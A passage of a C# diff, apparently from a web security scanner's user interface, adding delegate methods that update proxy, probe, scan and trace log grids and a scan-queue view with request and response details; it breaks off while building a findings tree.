UI.ShellLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); + IronUpdater.ShellGridMap.Add(Req.ID, GridID); + if (Req.ID > IronLog.ShellMax) IronLog.ShellMax = Req.ID; + if (Req.ID < IronLog.ShellMin || IronLog.ShellMin < 1) IronLog.ShellMin = Req.ID; + } + catch(Exception Exp) + { + IronException.Report("Error Updating Request in Shell LogGrid", Exp.Message, Exp.StackTrace); + } + } + foreach(Response Res in Responses) + { + bool MatchFound = true; + if (IronUpdater.ShellGridMap.ContainsKey(Res.ID)) + { + try + { + int GridID = IronUpdater.ShellGridMap[Res.ID]; + if (!((int)UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForID"].Value == Res.ID)) + { + MatchFound = false; + foreach (DataGridViewRow Row in UI.ShellLogGrid.Rows) + { + if ((int)Row.Cells["ScriptingLogGridColumnForID"].Value == Res.ID) + { + GridID = Row.Index; + MatchFound = true; + break; + } + } + } + if (MatchFound) + { + UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForCode"].Value = Res.Code; + UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForLength"].Value = Res.BodyArray.Length; + UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForMIME"].Value = Res.ContentType; + UI.ShellLogGrid.Rows[GridID].Cells["ScriptingLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); + } + IronUpdater.ShellGridMap.Remove(Res.ID); + } + catch(Exception Exp) + { + IronException.Report("Error Updating Response in Shell LogGrid", Exp.Message, Exp.StackTrace); + } + } + else + { + //IronException.Report("Matching Request missing in Shell LogGrid", string.Format("Request ID - {0} is missing from the Shell LogGrid", new object[] { Res.ID.ToString() }), Res.ToString()); + } + } + ShowCurrentLogStat(); + } + } + + delegate void UpdateOtherSourceLogGrid_d(List Requests, List Responses, string CurrentSource, List NewSources); + internal static void UpdateOtherSourceLogGrid(List Requests, List Responses, string CurrentSource, List NewSources) + { + if (UI.OtherLogGrid.InvokeRequired) + { + UpdateOtherSourceLogGrid_d UOSLG_d = new UpdateOtherSourceLogGrid_d(UpdateOtherSourceLogGrid); + UI.Invoke(UOSLG_d, new object[] { Requests, Responses, CurrentSource, NewSources }); + } + else + { + List SourceRowsAvailable = new List(); + int RowCount = UI.OtherLogSourceGrid.Rows.Count; + foreach (DataGridViewRow Row in UI.OtherLogSourceGrid.Rows) + { + SourceRowsAvailable.Add(Row.Cells[0].Value.ToString()); + } + foreach (string NewSource in NewSources) + { + if (!SourceRowsAvailable.Contains(NewSource)) + UI.OtherLogSourceGrid.Rows.Add(new object[]{NewSource}); + } + if (RowCount == 0 && UI.OtherLogSourceGrid.Rows.Count > 0) UI.OtherLogSourceGrid.ClearSelection(); + if (!SourceRowsAvailable.Contains(CurrentSource)) return; + foreach (Request Req in Requests) + { + if (UI.OtherLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + int GridID = UI.OtherLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); + IronUpdater.OtherSourceGridMap.Add(Req.ID, GridID); + if (Req.ID > IronLog.OtherSourceMax) IronLog.OtherSourceMax = Req.ID; + if (Req.ID < IronLog.OtherSourceMin || IronLog.OtherSourceMin < 1) IronLog.OtherSourceMin = Req.ID; + } + catch (Exception Exp) + { + IronException.Report("Error Updating Request in Other Source LogGrid", Exp.Message, Exp.StackTrace); + } + } + foreach (Response Res in Responses) + { + bool MatchFound = true; + if (IronUpdater.OtherSourceGridMap.ContainsKey(Res.ID)) + { + try + { + int GridID = IronUpdater.OtherSourceGridMap[Res.ID]; + if (!((int)UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForID"].Value == Res.ID)) + { + MatchFound = false; + foreach (DataGridViewRow Row in UI.OtherLogGrid.Rows) + { + if ((int)Row.Cells["LogGridColumnForID"].Value == Res.ID) + { + GridID = Row.Index; + MatchFound = true; + break; + } + } + } + if (MatchFound) + { + UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForCode"].Value = Res.Code; + UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForLength"].Value = Res.BodyArray.Length; + UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForMIME"].Value = Res.ContentType; + UI.OtherLogGrid.Rows[GridID].Cells["LogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); + } + IronUpdater.OtherSourceGridMap.Remove(Res.ID); + } + catch (Exception Exp) + { + IronException.Report("Error Updating Response in Other Source LogGrid", Exp.Message, Exp.StackTrace); + } + } + else + { + //IronException.Report("Matching Request missing in Shell LogGrid", string.Format("Request ID - {0} is missing from the Shell LogGrid", new object[] { Res.ID.ToString() }), Res.ToString()); + } + } + ShowCurrentLogStat(); + } + } + + delegate void UpdateProbeLogGrid_d(List Requests, List Responses); + internal static void UpdateProbeLogGrid(List Requests, List Responses) + { + if (UI.ProbeLogGrid.InvokeRequired) + { + UpdateProbeLogGrid_d UPLG_d = new UpdateProbeLogGrid_d(UpdateProbeLogGrid); + UI.Invoke(UPLG_d, new object[] { Requests, Responses }); + } + else + { + foreach (Request Req in Requests) + { + if (UI.ProbeLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + int GridID = UI.ProbeLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); + IronUpdater.ProbeGridMap.Add(Req.ID, GridID); + if (Req.ID > IronLog.ProbeMax) IronLog.ProbeMax = Req.ID; + if (Req.ID < IronLog.ProbeMin || IronLog.ProbeMin < 1) IronLog.ProbeMin = Req.ID; + } + catch (Exception Exp) + { + IronException.Report("Error Updating Request in Probe LogGrid", Exp.Message, Exp.StackTrace); + } + } + foreach (Response Res in Responses) + { + if (IronUpdater.ProbeGridMap.ContainsKey(Res.ID)) + { + bool MatchFound = true; + try + { + int GridID = IronUpdater.ProbeGridMap[Res.ID]; + if (!((int)UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForID"].Value == Res.ID)) + { + MatchFound = false; + foreach (DataGridViewRow Row in UI.ProbeLogGrid.Rows) + { + if ((int)Row.Cells["ProbeLogGridColumnForID"].Value == Res.ID) + { + GridID = Row.Index; + MatchFound = true; + break; + } + } + } + if (MatchFound) + { + UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForCode"].Value = Res.Code; + UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForLength"].Value = Res.BodyArray.Length; + UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForMIME"].Value = Res.ContentType; + UI.ProbeLogGrid.Rows[GridID].Cells["ProbeLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); + } + IronUpdater.ProbeGridMap.Remove(Res.ID); + } + catch (Exception Exp) + { + IronException.Report("Error Updating Response in Probe LogGrid", Exp.Message, Exp.StackTrace); + } + } + else + { + //IronException.Report("Matching Request missing in Probe LogGrid", string.Format("Request ID - {0} is missing from the Probe LogGrid", new object[] { Res.ID.ToString() }), Res.ToString()); + } + } + ShowCurrentLogStat(); + } + } + + delegate void UpdateScanLogGrid_d(List Requests, List Responses); + internal static void UpdateScanLogGrid(List Requests, List Responses) + { + if (UI.ScanLogGrid.InvokeRequired) + { + UpdateScanLogGrid_d USLG_d = new UpdateScanLogGrid_d(UpdateScanLogGrid); + UI.Invoke(USLG_d, new object[] { Requests, Responses }); + } + else + { + foreach (Request Req in Requests) + { + if (UI.ScanLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + int GridID = UI.ScanLogGrid.Rows.Add(new object[] { Req.ID, Req.ScanID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); + IronUpdater.ScanGridMap.Add(Req.ID, GridID); + if (Req.ID > IronLog.ScanMax) IronLog.ScanMax = Req.ID; + if (Req.ID < IronLog.ScanMin || IronLog.ScanMin < 1) IronLog.ScanMin = Req.ID; + } + catch(Exception Exp) + { + IronException.Report("Error Updating Request in Scan LogGrid", Exp.Message, Exp.StackTrace); + } + } + + foreach (Response Res in Responses) + { + if (IronUpdater.ScanGridMap.ContainsKey(Res.ID)) + { + bool MatchFound = true; + try + { + int GridID = IronUpdater.ScanGridMap[Res.ID]; + if (!((int)UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForID"].Value == Res.ID)) + { + MatchFound = false; + foreach (DataGridViewRow Row in UI.ScanLogGrid.Rows) + { + if ((int)Row.Cells["ScanLogGridColumnForID"].Value == Res.ID) + { + GridID = Row.Index; + MatchFound = true; + break; + } + } + } + if (MatchFound) + { + UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForCode"].Value = Res.Code; + UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForLength"].Value = Res.BodyArray.Length; + UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForMIME"].Value = Res.ContentType; + UI.ScanLogGrid.Rows[GridID].Cells["ScanLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); + } + IronUpdater.ScanGridMap.Remove(Res.ID); + } + catch (Exception Exp) + { + IronException.Report("Error Updating Response in Scan LogGrid", Exp.Message, Exp.StackTrace); + } + } + else + { + //IronException.Report("Matching Request missing in Scan LogGrid", string.Format("Request ID - {0} is missing from the Scan LogGrid", new object[] { Res.ID.ToString() }), Res.ToString()); + } + } + ShowCurrentLogStat(); + } + } + + delegate void UpdateTraceGrid_d(List Traces); + internal static void UpdateTraceGrid(List Traces) + { + if (UI.TraceGrid.InvokeRequired) + { + UpdateTraceGrid_d UTG_d = new UpdateTraceGrid_d(UpdateTraceGrid); + UI.Invoke(UTG_d, new object[] { Traces }); + } + else + { + foreach (IronTrace Trace in Traces) + { + try + { + UI.TraceGrid.Rows.Add(new object[] { Trace.ID, Trace.Time, Trace.Date, Trace.ThreadID, Trace.Source, Trace.Message }); + } + catch (Exception Exp) + { + IronException.Report("Error Updating Trace in TraceGrid", Exp.Message, Exp.StackTrace); + } + } + } + } + + delegate void UpdateScanTraceGrid_d(List Traces); + internal static void UpdateScanTraceGrid(List Traces) + { + if (UI.ScanTraceGrid.InvokeRequired) + { + UpdateScanTraceGrid_d USTG_d = new UpdateScanTraceGrid_d(UpdateScanTraceGrid); + UI.Invoke(USTG_d, new object[] { Traces }); + } + else + { + foreach (IronTrace Trace in Traces) + { + if (UI.ScanTraceGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + UI.ScanTraceGrid.Rows.Add(new object[] { Trace.ID, Trace.ScanID, Trace.PluginName, Trace.Section, Trace.Parameter, Trace.Title }); + if (Trace.ID > IronTrace.ScanTraceMax) IronTrace.ScanTraceMax = Trace.ID; + if (Trace.ID < IronTrace.ScanTraceMin || IronTrace.ScanTraceMin < 1) IronTrace.ScanTraceMin = Trace.ID; + } + catch (Exception Exp) + { + IronException.Report("Error Updating Trace in ScanTraceGrid", Exp.Message, Exp.StackTrace); + } + } + ShowCurrentScanTraceStat(); + IronUI.ShowScanTraceStatus("", false); + } + } + + + + delegate void SetScanTraceGrid_d(List Traces); + internal static void SetScanTraceGrid(List Traces) + { + if (UI.ScanTraceGrid.InvokeRequired) + { + SetScanTraceGrid_d SSTG_d = new SetScanTraceGrid_d(SetScanTraceGrid); + UI.Invoke(SSTG_d, new object[] { Traces }); + } + else + { + UI.ScanTraceGrid.Rows.Clear(); + IronTrace.ScanTraceMin = 0; + IronTrace.ScanTraceMax = 0; + UpdateScanTraceGrid(Traces); + } + } + + + + delegate void ShowScanTraceStatus_d(string Message, bool Error); + internal static void ShowScanTraceStatus(string Message, bool Error) + { + if (UI.ScanTraceStatusLbl.InvokeRequired) + { + ShowScanTraceStatus_d SSTS_d = new ShowScanTraceStatus_d(ShowScanTraceStatus); + UI.Invoke(SSTS_d, new object[] { Message, Error }); + } + else + { + if (Error) + { + UI.ScanTraceStatusLbl.ForeColor = Color.Red; + } + else + { + UI.ScanTraceStatusLbl.ForeColor = Color.Black; + } + UI.ScanTraceStatusLbl.Text = Message; + UI.ScanTraceStatusLbl.Visible = true; + } + } + + delegate void ShowCurrentScanTraceStat_d(); + internal static void ShowCurrentScanTraceStat() + { + if (UI.ScanTraceStatLbl.InvokeRequired) + { + ShowCurrentScanTraceStat_d SCSTS_d = new ShowCurrentScanTraceStat_d(ShowCurrentScanTraceStat); + UI.Invoke(SCSTS_d, new object[] { }); + } + else + { + UI.ScanTraceStatLbl.Text = string.Format("Showing {0} - {1} of Scan Traces", IronTrace.ScanTraceMin, IronTrace.ScanTraceMax); + } + } + + delegate void UpdateSessionPluginTraceGrid_d(List Traces); + internal static void UpdateSessionPluginTraceGrid(List Traces) + { + if (UI.SessionPluginTraceGrid.InvokeRequired) + { + UpdateSessionPluginTraceGrid_d USTG_d = new UpdateSessionPluginTraceGrid_d(UpdateSessionPluginTraceGrid); + UI.Invoke(USTG_d, new object[] { Traces }); + } + else + { + foreach (IronTrace Trace in Traces) + { + try + { + UI.SessionPluginTraceGrid.Rows.Add(new object[] { Trace.ID, Trace.LogId, Trace.LogSource, Trace.SessionPluginName, Trace.Action, Trace.Message }); + } + catch (Exception Exp) + { + IronException.Report("Error Updating Trace in SessionPluginTraceGrid", Exp.Message, Exp.StackTrace); + } + } + } + } + + delegate void UpdateManualTestingResponse_d(Response Res, Request Req, string Reflection); + internal static void UpdateManualTestingResponse(Response Res, Request Req, string Reflection) + { + if (UI.TestResponseView.InvokeRequired) + { + UpdateManualTestingResponse_d UMTR_d = new UpdateManualTestingResponse_d(UpdateManualTestingResponse); + UI.Invoke(UMTR_d, new object[] { Res, Req, Reflection }); + } + else + { + try + { + if (ManualTesting.CurrentRequestID == Res.ID) + { + FillMTFields(Res, Req); + //FillTestReflection(Reflection); + UI.TestIDLbl.Text = "ID: " + Res.ID.ToString(); + EndMTSend(true); + } + } + catch(Exception Exp) + { + IronException.Report("Error updating MT Response", Exp.Message, Exp.StackTrace); + } + } + } + + delegate void UpdateManualTestingRequest_d(Request Req); + internal static void UpdateManualTestingRequest(Request Req) + { + if (UI.TestRequestView.InvokeRequired) + { + UpdateManualTestingRequest_d UMTR_d = new UpdateManualTestingRequest_d(UpdateManualTestingRequest); + UI.Invoke(UMTR_d, new object[] { Req }); + } + else + { + try + { + FillMTFields(Req); + //UI.MTIsSSLCB.Checked = Req.SSL; + UI.TestIDLbl.Text = "ID: 0"; + EndMTSend(false); + } + catch(Exception Exp) + { + IronException.Report("Error updating MT Request", Exp.Message, Exp.StackTrace); + } + } + } + delegate void UpdateProxyLogGrid_d(List Requests, List Responses); + internal static void UpdateProxyLogGrid(List Requests, List Responses) + { + if (UI.ProxyLogGrid.InvokeRequired) + { + UpdateProxyLogGrid_d UPLG_d = new UpdateProxyLogGrid_d(UpdateProxyLogGrid); + UI.Invoke(UPLG_d, new object[] { Requests, Responses }); + } + else + { + foreach (Request Req in Requests) + { + if (UI.ProxyLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + int GridID = UI.ProxyLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); + IronUpdater.ProxyGridMap.Add(Req.ID, GridID); + if (Req.ID > IronLog.ProxyMax) IronLog.ProxyMax = Req.ID; + if (Req.ID < IronLog.ProxyMin || IronLog.ProxyMin < 1) IronLog.ProxyMin = Req.ID; + UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(Req.Method, Req.Host, Req.StoredFile, 0, null, false); + } + catch(Exception exp) + { + IronException.Report("Error Updating Proxy LogGrid", exp.Message, exp.StackTrace); + } + } + + foreach (Response Res in Responses) + { + if (IronUpdater.ProxyGridMap.ContainsKey(Res.ID)) + { + bool MatchFound = true; + try + { + int GridID = IronUpdater.ProxyGridMap[Res.ID]; + if (!((int)UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForID"].Value == Res.ID)) + { + MatchFound = false; + foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) + { + if ((int)Row.Cells["ProxyLogGridColumnForID"].Value == Res.ID) + { + GridID = Row.Index; + MatchFound = true; + break; + } + } + } + if (MatchFound) + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForCode"].Value = Res.Code; + if (Res.BodyArray != null) + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = Res.BodyArray.Length; + } + else + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = 0; + } + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForMIME"].Value = Res.ContentType; + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); + if (UI.ProxyLogGrid.Rows[GridID].Visible) + { + UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(null, null, null, Res.Code, Res.ContentType, Res.BodyLength == 0); + } + } + IronUpdater.ProxyGridMap.Remove(Res.ID); + } + catch(Exception exp) + { + IronException.Report("Error Updating Proxy LogGrid", exp.Message, exp.StackTrace); + } + } + else + { + //IronException.Report("Matching Request missing in Proxy LogGrid", string.Format("Request ID - {0} is missing from the Proxy LogGrid", new object[]{ Res.ID.ToString()}), Res.ToString()); + } + } + ShowCurrentLogStat(); + } + } + + delegate void UpdateProxyLogGridWithArrs_d(List RequestArrs, List ResponseArrs); + internal static void UpdateProxyLogGridWithArrs(List RequestArrs, List ResponseArrs) + { + if (UI.ProxyLogGrid.InvokeRequired) + { + UpdateProxyLogGridWithArrs_d UPLGWA_d = new UpdateProxyLogGridWithArrs_d(UpdateProxyLogGridWithArrs); + UI.Invoke(UPLGWA_d, new object[] { RequestArrs, ResponseArrs }); + } + else + { + foreach (Request[] ReqArr in RequestArrs) + { + if (UI.ProxyLogGrid.Rows.Count >= IronLog.MaxRowCount) break; + try + { + int GridID = UI.ProxyLogGrid.Rows.Add(new object[] { ReqArr[1].ID, ReqArr[1].Host, ReqArr[1].Method, ReqArr[1].URL, ReqArr[1].StoredFile, ReqArr[1].SSL, ReqArr[1].StoredParameters }); + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForEdited"].Value = ReqArr[0] != null; + IronUpdater.ProxyGridMap.Add(ReqArr[1].ID, GridID); + if (ReqArr[1].ID > IronLog.ProxyMax) IronLog.ProxyMax = ReqArr[1].ID; + if (ReqArr[1].ID < IronLog.ProxyMin || IronLog.ProxyMin < 1) IronLog.ProxyMin = ReqArr[1].ID; + UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(ReqArr[1].Method, ReqArr[1].Host, ReqArr[1].StoredFile, 0, null, false); + } + catch (Exception exp) + { + IronException.Report("Error Updating Proxy LogGrid", exp.Message, exp.StackTrace); + } + } + + foreach (Response[] ResArr in ResponseArrs) + { + if (IronUpdater.ProxyGridMap.ContainsKey(ResArr[1].ID)) + { + bool MatchFound = true; + try + { + int GridID = IronUpdater.ProxyGridMap[ResArr[1].ID]; + if (!((int)UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForID"].Value == ResArr[1].ID)) + { + MatchFound = false; + foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) + { + if ((int)Row.Cells["ProxyLogGridColumnForID"].Value == ResArr[1].ID) + { + GridID = Row.Index; + MatchFound = true; + break; + } + } + } + if (MatchFound) + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForCode"].Value = ResArr[1].Code; + if (ResArr[1].BodyArray != null) + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = ResArr[1].BodyArray.Length; + } + else + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = 0; + } + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForMIME"].Value = ResArr[1].ContentType; + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForSetCookie"].Value = (ResArr[1].SetCookies.Count > 0); + if (ResArr[0] != null) + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForEdited"].Value = true; + } + if (UI.ProxyLogGrid.Rows[GridID].Visible) + { + UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(null, null, null, ResArr[1].Code, ResArr[1].ContentType, ResArr[1].BodyLength == 0); + } + } + IronUpdater.ProxyGridMap.Remove(ResArr[1].ID); + } + catch (Exception exp) + { + IronException.Report("Error Updating Proxy LogGrid", exp.Message, exp.StackTrace); + } + } + else + { + //IronException.Report("Matching Request missing in Proxy LogGrid", string.Format("Request ID - {0} is missing from the Proxy LogGrid", new object[]{ Res.ID.ToString()}), Res.ToString()); + } + } + ShowCurrentLogStat(); + } + } + + + delegate void UpdateEditedProxyLogRequestEntry_d(Request Req); + internal static void UpdateEditedProxyLogRequestEntry(Request Req) + { + if (UI.ProxyLogGrid.InvokeRequired) + { + UpdateEditedProxyLogRequestEntry_d UEPLRE_d = new UpdateEditedProxyLogRequestEntry_d(UpdateEditedProxyLogRequestEntry); + UI.Invoke(UEPLRE_d, new object[] { Req }); + } + else + { + try + { + int GridID = 0; + if (IronUpdater.ProxyGridMap.ContainsKey(Req.ID)) + { + GridID = IronUpdater.ProxyGridMap[Req.ID]; + } + if (!((int)UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForID"].Value == Req.ID)) + { + foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) + { + if ((int)Row.Cells["ProxyLogGridColumnForID"].Value == Req.ID) + { + GridID = Row.Index; + break; + } + } + } + + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForMethod"].Value = Req.Method; + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForURL"].Value = Req.URL; + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForFile"].Value = Req.File; + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForParameters"].Value = Req.GetParametersString(); + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForEdited"].Value = true; + UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(Req.Method, Req.Host, Req.StoredFile, 0, null, false); + } + catch (Exception Exp) + { + IronException.Report("Error updating Edited Proxy Request in UI", Exp.Message, Exp.StackTrace); + } + } + } + + delegate void UpdateEditedProxyLogResponseEntry_d(Response Res); + internal static void UpdateEditedProxyLogResponseEntry(Response Res) + { + if (UI.ProxyLogGrid.InvokeRequired) + { + UpdateEditedProxyLogResponseEntry_d UEPLRE_d = new UpdateEditedProxyLogResponseEntry_d(UpdateEditedProxyLogResponseEntry); + UI.Invoke(UEPLRE_d, new object[] { Res }); + } + else + { + try + { + int GridID = 0; + if (IronUpdater.ProxyGridMap.ContainsKey(Res.ID)) + { + GridID = IronUpdater.ProxyGridMap[Res.ID]; + } + if (!((int)UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForID"].Value == Res.ID)) + { + foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) + { + if ((int)Row.Cells["ProxyLogGridColumnForID"].Value == Res.ID) + { + GridID = Row.Index; + break; + } + } + } + + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForCode"].Value = Res.Code; + if (Res.BodyArray != null) + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = Res.BodyArray.Length; + } + else + { + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = 0; + } + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForMIME"].Value = Res.ContentType; + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); + UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForEdited"].Value = true; + if (UI.ProxyLogGrid.Rows[GridID].Visible) + { + UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(null, null, null, Res.Code, Res.ContentType, Res.BodyLength == 0); + } + } + catch (Exception Exp) + { + IronException.Report("Error updating Edited Proxy Response in UI", Exp.Message, Exp.StackTrace); + } + } + } + + delegate void UpdateScanQueueStatuses_d(List ScanIDs, string Status); + internal static void UpdateScanQueueStatuses(List ScanIDs, string Status) + { + if (UI.CanShutdown) return; + if (UI.ASQueueGrid.InvokeRequired) + { + UpdateScanQueueStatuses_d USQS_d = new UpdateScanQueueStatuses_d(UpdateScanQueueStatuses); + UI.Invoke(USQS_d, new object[] { ScanIDs, Status }); + } + else + { + foreach (int ScanID in ScanIDs) + { + UpdateScanQueueStatus(ScanID, Status); + } + } + } + + delegate void UpdateScanQueueStatus_d(int ScanID, string Status); + internal static void UpdateScanQueueStatus(int ScanID, string Status) + { + if (UI.CanShutdown) return; + if (UI.ASQueueGrid.InvokeRequired) + { + UpdateScanQueueStatus_d USQS_d = new UpdateScanQueueStatus_d(UpdateScanQueueStatus); + UI.Invoke(USQS_d, new object[] { ScanID, Status }); + } + else + { + if (UI.ASQueueGrid.Rows.Count >= ScanID) + { + try + { + if ((int)UI.ASQueueGrid.Rows[ScanID - 1].Cells[0].Value == ScanID) + { + SetScanRowStatus(UI.ASQueueGrid.Rows[ScanID -1], Status); + return; + } + } + catch { } + } + + foreach (DataGridViewRow Row in UI.ASQueueGrid.Rows) + { + int RowScanID = 0; + try + { + RowScanID = (int)Row.Cells[0].Value; + } + catch + { + continue; + } + if (RowScanID == ScanID) + { + SetScanRowStatus(Row, Status); + return; + } + } + } + } + + static void SetScanRowStatus(DataGridViewRow Row, string Status) + { + Row.Cells[1].Value = Status; + switch (Status) + { + case "Running": + Row.DefaultCellStyle.BackColor = Color.Green; + break; + case "Aborted": + Row.DefaultCellStyle.BackColor = Color.Red; + break; + case "Completed": + Row.DefaultCellStyle.BackColor = Color.Gray; + break; + case "Incomplete": + case "Stopped": + Row.DefaultCellStyle.BackColor = Color.IndianRed; + break; + default: + Row.DefaultCellStyle.BackColor = Color.White; + break; + } + } + + delegate void CreateScan_d(int ScanID, string Status, string Method, string Url); + internal static void CreateScan(int ScanID, string Status, string Method, string Url) + { + if (UI.ASQueueGrid.InvokeRequired) + { + CreateScan_d CS_d = new CreateScan_d(CreateScan); + UI.Invoke(CS_d, new object[] { ScanID, Status, Method, Url }); + } + else + { + int GridID = UI.ASQueueGrid.Rows.Add(new object[] { ScanID, Status, Method, Url }); + DataGridViewRow Row = null; + try + { + Row = UI.ASQueueGrid.Rows[GridID]; + } + catch + { + return; + } + switch (Status) + { + case "Running": + Row.DefaultCellStyle.BackColor = Color.Green; + break; + case "Aborted": + Row.DefaultCellStyle.BackColor = Color.Red; + break; + case "Completed": + Row.DefaultCellStyle.BackColor = Color.Gray; + break; + case "Incomplete": + case "Stopped": + Row.DefaultCellStyle.BackColor = Color.IndianRed; + break; + default: + Row.DefaultCellStyle.BackColor = Color.White; + break; + } + if (!UI.main_tab.SelectedTab.Name.Equals("mt_auto")) + { + try + { + UI.ASQueueGrid.FirstDisplayedScrollingRowIndex = GridID; + } + catch { } + } + } + } + + delegate void ShowScanJobsQueue_d(); + internal static void ShowScanJobsQueue() + { + if (UI.ASQueueGrid.InvokeRequired) + { + ShowScanJobsQueue_d SSJQ_d = new ShowScanJobsQueue_d(ShowScanJobsQueue); + UI.Invoke(SSJQ_d, new object[] { }); + } + else + { + if(!UI.main_tab.SelectedTab.Name.Equals("mt_auto")) UI.main_tab.SelectTab("mt_auto"); + if (!UI.ASMainTabs.SelectedTab.Name.Equals("ASConfigureTab")) UI.ASMainTabs.SelectTab("ASConfigureTab"); + } + } + + //delegate void FillAndShowJavaScriptTester_d(string Input); + //internal static void FillAndShowJavaScriptTester(string Input) + //{ + // if (UI.JSTaintTraceInRTB.InvokeRequired) + // { + // FillAndShowJavaScriptTester_d FASJT_d = new FillAndShowJavaScriptTester_d(FillAndShowJavaScriptTester); + // UI.Invoke(FASJT_d, new object[] { Input}); + // } + // else + // { + // UI.JSTaintTraceInRTB.Text = Input; + // if (!UI.main_tab.SelectedTab.Name.Equals("mt_js")) UI.main_tab.SelectTab("mt_js"); + // if (!UI.JSTaintTabs.SelectedTab.Name.Equals("JSTaintInputTab")) UI.JSTaintTabs.SelectTab("JSTaintInputTab"); + // } + //} + + public delegate void UpdatePluginResultTree_d(List PRs); + public static void UpdatePluginResultTree(List PRs) + { + if (UI.IronTree.InvokeRequired) + { + UpdatePluginResultTree_d UPRT_d = new UpdatePluginResultTree_d(UpdatePluginResultTree); + UI.Invoke(UPRT_d, new object[] { PRs }); + } + else + { + if (UI.IronTree == null) return; + + UI.IronTree.BeginUpdate(); + UI.IronTree.Enabled = false; + foreach (Finding PR in PRs) + { + if (PR.Type == FindingType.Vulnerability) + { + string Title = ""; + if (PR.Confidence == FindingConfidence.High) + { + //Title = "+++ " + PR.Title; + Title = "+++ " + PR.Id.ToString(); + } + else if (PR.Confidence == FindingConfidence.Medium) + { + //Title = "++- " + PR.Title; + Title = "++- " + PR.Id.ToString(); + } + else if (PR.Confidence == FindingConfidence.Low) + { + //Title = "+-- " + PR.Title; + Title = "+-- " + PR.Id.ToString(); + } + if (PR.Severity == FindingSeverity.High) + { + if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes.ContainsKey(PR.AffectedHost)) + { + 